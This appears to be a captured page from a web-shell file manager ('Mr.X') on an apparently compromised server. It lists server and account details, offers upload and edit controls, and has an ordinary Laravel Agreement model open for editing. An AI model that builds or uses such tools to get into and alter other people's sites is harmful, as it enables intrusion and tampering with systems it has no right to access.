🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:Agreement.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Agreement extends Model { protected $fillable = [ 'agreement_number', 'project_id', 'client_id', 'client_name', 'company_name', 'total_amount', 'scope_of_work', 'terms_and_conditions', 'payment_terms', 'status', 'signed_at', ]; protected $casts = [ 'total_amount' => 'decimal:2', 'signed_at' => 'datetime', ]; public function project() { return $this->belongsTo(Project::class); } public function client() { return $this->belongsTo(User::class, 'client_id'); } public static function generateNumber(): string { $year = date('Y'); $last = self::whereYear('created_at', $year)->count() + 1; return 'AGR-' . $year . '-' . str_pad($last, 4, '0', STR_PAD_LEFT); } }
Save Changes
Cancel
Create New File
Create New Folder